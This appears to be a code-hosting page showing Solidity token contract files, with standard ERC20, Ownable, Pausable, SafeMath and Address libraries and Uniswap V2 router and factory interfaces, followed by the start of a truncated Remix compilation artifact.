function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
library Address {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* 'onlyOwner' functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) internal {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by 'account'.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by 'account'.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
View raw

(Sorry about that, but we can’t show files that are this big right now.)

View raw

(Sorry about that, but we can’t show files that are this big right now.)

View raw

(Sorry about that, but we can’t show files that are this big right now.)

View raw

(Sorry about that, but we can’t show files that are this big right now.)

This file has been truncated, but you can view the full file.
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"goerli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_717": {
"entryPoint": null,
"id": 717,
"parameterSlots": 0,
"returnSlots": 0
},
"@_868": {
"entryPoint": null,
"id": 868,
"parameterSlots": 5,
"returnSlots": 0
},
"@_mint_1197": {
"entryPoint": 430,
"id": 1197,
"parameterSlots": 2,
"returnSlots": 0
},
"@_msgSender_688": {
"entryPoint": 230,
"id": 688,
"parameterSlots": 0,
"returnSlots": 1
},
"@_transferOwnership_799": {
"entryPoint": 237,
"id": 799,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_available_length_t_string_memory_ptr_fromMemory": {
"entryPoint": 1116,
"id": null,
"parameterSlots": 3,
"returnSlots": 1
},
"abi_decode_t_address_fromMemory": {
"entryPoint": 1374,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_t_string_memory_ptr_fromMemory": {
"entryPoint": 1190,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_t_uint256_fromMemory": {
"entryPoint": 1430,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_t_uint8_fromMemory": {
"entryPoint": 1277,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_string_memory_ptrt_string_memory_ptrt_uint8t_addresst_uint256_fromMemory": {
"entryPoint": 1452,
"id": null,
"parameterSlots": 2,
"returnSlots": 5
},
"abi_encode_t_stringliteral_30cc447bcc13b3e22b45cef0dd9b0b514842d836dd9b6eb384e20dedfb47723a_to_t_string_memory_ptr_fromStack": {
"entryPoint": 3191,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_stringliteral_fc0b381caf0a47702017f3c4b358ebe3d3aff6c60ce819a8bf3ef5a95d4f202e_to_t_string_memory_ptr_fromStack": {
"entryPoint": 3023,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 3261,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_stringliteral_30cc447bcc13b3e22b45cef0dd9b0b514842d836dd9b6eb384e20dedfb47723a__to_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 3229,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_stringliteral_fc0b381caf0a47702017f3c4b358ebe3d3aff6c60ce819a8bf3ef5a95d4f202e__to_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 3061,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 3278,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_memory": {
"entryPoint": 991,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": 851,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"array_allocation_size_t_string_memory_ptr": {
"entryPoint": 1021,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"array_dataslot_t_string_storage": {
"entryPoint": 1753,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"array_length_t_string_memory_ptr": {
"entryPoint": 1646,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"array_storeLengthForEncoding_t_string_memory_ptr_fromStack": {
"entryPoint": 2967,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"checked_add_t_uint256": {
"entryPoint": 3093,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"checked_exp_helper": {
"entryPoint": 2489,
"id": null,
"parameterSlots": 4,
"returnSlots": 2
},
"checked_exp_t_uint256_t_uint8": {
"entryPoint": 2813,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"checked_exp_unsigned": {
"entryPoint": 2579,
"id": null,
"parameterSlots": 3,
"returnSlots": 1
},
"checked_mul_t_uint256": {
"entryPoint": 2893,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"clean_up_bytearray_end_slots_t_string_storage": {
"entryPoint": 2053,
"id": null,
"parameterSlots": 3,
"returnSlots": 0
},
"cleanup_t_address": {
"entryPoint": 1330,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 1299,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 1396,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint8": {
"entryPoint": 1240,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"clear_storage_range_t_bytes1": {
"entryPoint": 2015,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"convert_t_uint256_to_t_uint256": {
"entryPoint": 1892,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"copy_byte_array_to_storage_from_t_string_memory_ptr_to_t_string_storage": {
"entryPoint": 2204,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"copy_memory_to_memory_with_cleanup": {
"entryPoint": 1074,
"id": null,
"parameterSlots": 3,
"returnSlots": 0
},
"divide_by_32_ceil": {
"entryPoint": 1771,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"extract_byte_array_length": {
"entryPoint": 1701,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"extract_used_part_and_set_length_of_short_byte_array": {
"entryPoint": 2175,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"finalize_allocation": {
"entryPoint": 937,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"identity": {
"entryPoint": 1883,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"mask_bytes_dynamic": {
"entryPoint": 2145,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"panic_error_0x11": {
"entryPoint": 2432,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"panic_error_0x22": {
"entryPoint": 1656,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"panic_error_0x41": {
"entryPoint": 892,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"prepare_store_t_uint256": {
"entryPoint": 1931,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d": {
"entryPoint": 868,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae": {
"entryPoint": 872,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": 864,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 860,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"round_up_to_mul_of_32": {
"entryPoint": 876,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"shift_left_dynamic": {
"entryPoint": 1786,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"shift_right_1_unsigned": {
"entryPoint": 2477,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"shift_right_unsigned_dynamic": {
"entryPoint": 2133,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"storage_set_to_zero_t_uint256": {
"entryPoint": 1987,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"store_literal_in_memory_30cc447bcc13b3e22b45cef0dd9b0b514842d836dd9b6eb384e20dedfb47723a": {
"entryPoint": 3151,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"store_literal_in_memory_fc0b381caf0a47702017f3c4b358ebe3d3aff6c60ce819a8bf3ef5a95d4f202e": {
"entryPoint": 2983,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"update_byte_slice_dynamic32": {
"entryPoint": 1798,
"id": null,
"parameterSlots": 3,
